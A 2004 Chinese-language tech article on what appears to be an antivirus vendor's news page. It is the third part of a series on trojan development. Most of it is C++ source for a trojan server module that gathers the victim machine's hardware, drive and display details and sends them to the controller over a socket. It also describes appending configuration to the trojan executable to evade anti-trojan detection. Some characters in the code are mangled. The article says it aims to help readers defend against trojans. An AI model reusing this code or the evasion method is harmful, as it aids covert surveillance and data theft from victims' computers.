个人产品
企业产品
安全信息
病毒专栏 | 漏洞专栏 | 木马专栏 | 防护专栏 | 安全业界 | 毒霸活动 | 热点专题 | 漫画安全 | 期刊订阅
[an error occurred while processing this directive]
告诉您的位置:首页 > 资讯中心 > 防护技巧 > 正文
技术交流:透视特洛伊木马程序开发技术(下)
2004年08月03日 15:13 天极网 
[an error occurred while processing this directive]
  上两期我们推出《透视木马程序开发技术(上)》和《透视木马程序开发技术(中)》这期我们推出这个系列的最后一部份,希望能对你了解木马技术以便安全的管理你的计算机提供一定的帮助。

  6、目标机器情况的获取

  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

  AnsiString cs;

  FILE *fp;

  fp=fopen("temp.had","w+");

  //TODO: Add your source code here

  //获得CPU型号

  SYSTEM_INFO systeminfo;

  GetSystemInfo (&systeminfo);

  cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  MEMORYSTATUS memory;

  memory.dwLength =sizeof(memory); //初始化

  GlobalMemoryStatus(&memory);

  cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  DWORD sector,byte,cluster,free;

  long int freespace,totalspace;

  UINT type;

  char name;

  //0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、

  //5—CD-ROM、6—内存虚拟盘

  char volname[255],filename[100];//buffer[512];

  DWORD sno,maxl,fileflag ;

  for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z

  type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型

  if(type==0){

  cs="未知类型磁盘:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==2){

  cs="可移动类型磁盘:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==3){

  cs="固定磁盘:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==4)   {

  cs="网络映射磁盘:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==5)  {

  cs="光驱:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==6)  {

  cs="内存虚拟磁盘:"+String(name)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100))  {

  cs=String(name)+"盘卷标为:"+String(volname)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+"盘序号为:"+String(sno)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

  totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

  freespace=int(free)*byte*sector/1024/1024; //计算可用空间

  cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  }

  int wavedevice,mididevice;

  WAVEOUTCAPS wavecap;

  MIDIOUTCAPS midicap;

  wavedevice=(int)waveOutGetNumDevs(); //波形设备信息

  mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息

  if (wavedevice!=0){

  waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

  cs="当前波形设备:"+String(wavecap.szPname)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  if (mididevice!=0){

  midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

  cs="当前MIDI设备:"+String(midicap.szPname)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  long double tcs;

  long double tc;

  long int bpp,cp;

  cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

  tcs=pow(2,bpp); //计算色彩的梯度数

  cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

  tc= pow(double(tcs),double(cp)); //计算色深

  AnsiString sss;

  sss=bpp;

  cs="当前色深为:"+sss+"\n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  fclose(fp);

  AnsiString FileName="temp.had";

  char *buf;

  TcpMsgUint Msg2;

  strcpy(Msg2.TPassword,Password);

  TMemoryStream *ms=new TMemoryStream;

  ms->Clear();

  if (!FileExists(FileName)) CheckHard();

  TFileStream *fs=new TFileStream(FileName,fmOpenRead);

  buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

  fs->Read(buf,fs->Size);

  Msg2.Type=MsgGetHardWare;

  Msg2.Length=fs->Size;

  FileClose(fs->Handle);

  ms->Write(&Msg2,sizeof(TcpMsgUint));

  ms->Write(buf,Msg2.Length);

  ms->Position=0;

  delete []buf;

  try{

  sock->SendStream(ms);

  }

  catch(Exception&e) {

  }

  }

  上面一段程序,基本上把相关的系统信息都取到了。

  7、服务器端程序的包装与加密

  有些软件允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

  首先让我们来做一个实验:

  进入Windows的命令行模式下做如下操作

  1)C:\>copy Server.Exe Server.Bak

  2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net”

  3)C:\>type Text.Txt>>Server.Exe

  4)运行Server.Exe

  怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

  8、总结

  以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。
    【责任编辑:grace】
金山毒霸6下载版 + 病毒预警短信 超值价10元/月
在线查毒免费体验·在线杀毒10元包月热买不限次
金山毒霸企业版 企业安全全线产品 免费救援热线
免费使用词霸搜索 随时随地获取海量词典及例句
【我要发表评论】【内容指正】【论坛】【推荐给好友】·【 】【打印】·【顶部】【关闭窗口
【相关文章】 【去论坛】
· 技术交流:透视特洛伊木马程序开发技术(上) 2004-08-03 17:15
· 技术交流:透视特洛伊木马程序开发技术(中) 2004-08-03 17:14
· 电脑防范技巧:IP 安全策略 VS 特洛伊木马 2004-08-03 17:00
· [证券日报]金山联合17173 共推“木马专杀” 2004-08-02 17:35
· [北京日报]全国63%电脑受到木马病毒的攻击 2004-08-02 17:31
· [网络世界]金山发布毒霸6增强版 主攻"木马" 2004-07-30 14:42
· [华军]金山发布毒霸6增强版 主攻"木马专杀" 2004-07-30 14:39
· [千龙]金山发布毒霸6增强版 主攻"木马专杀" 2004-07-30 14:37
· [赛迪网]"木马"发难网游玩家金山毒霸"出招" 2004-07-30 14:33
· [小熊在线]金山毒霸6增强版发布 主攻"木马" 2004-07-30 14:25
·金山毒霸单机版讨论区
·金山网镖讨论区
·金山毒霸网络版讨论区
·毒霸在线业务专题讨论区
·安全软件讨论区
·病毒救援
【相关专题】
· 毒霸新品6增强版发布专题 2004-07-29 10:45
· 十面埋伏 围剿木马专题 2004-07-12 19:56
· 病毒木马入侵招数大曝光专题专题 2002-07-15 10:15
· 盗QQ密码-木马GOP专题 2001-12-31 23:15
[an error occurred while processing this directive]
[an error occurred while processing this directive]
·全民围剿 新春无毒 
·
毒霸、网镖新功能体验版 
·
毒霸网络版2.0 sp1发布 
·
毒霸6新禧礼包惊喜登场
·
毒霸网络版 人人有礼
·毒霸网络版“租用服务”
·
金山毒霸网络版大事件
·第三次缉毒万里行专题
·JPEG图片病毒专题
·金山引爆“双响炮”计划
·金山毒霸6增强版介绍
·
十面埋伏围剿木马发布会
·
6.12北京用户产品座谈会
·
金山"网游防火墙"产品
·
反电子垃圾新功略专题
·“金山毒霸再获桂冠”
·金山“安全体验风暴”
·“冲击波”病毒之罪?
·全球黑客攻击专题
·金山毒霸V金山网镖V介绍
·金山V攻略详解专题
·金山毒霸&智冠捆绑销售
·金山软件爱心服务活动
·2003年病毒疫情调查专题
更多...
[an error occurred while processing this directive]
·病毒短信 ·在线杀毒
·病毒上报 ·专杀工具
·产品答疑 ·
媒体合作
金山简介 | 业务合作 | 广告服务 | 招聘信息 | 客服中心 | 网页报错 | 添加毒霸到QQ上
© 2007 Kingsoft Corp. 增值电信业务经营许可证B2-20040288号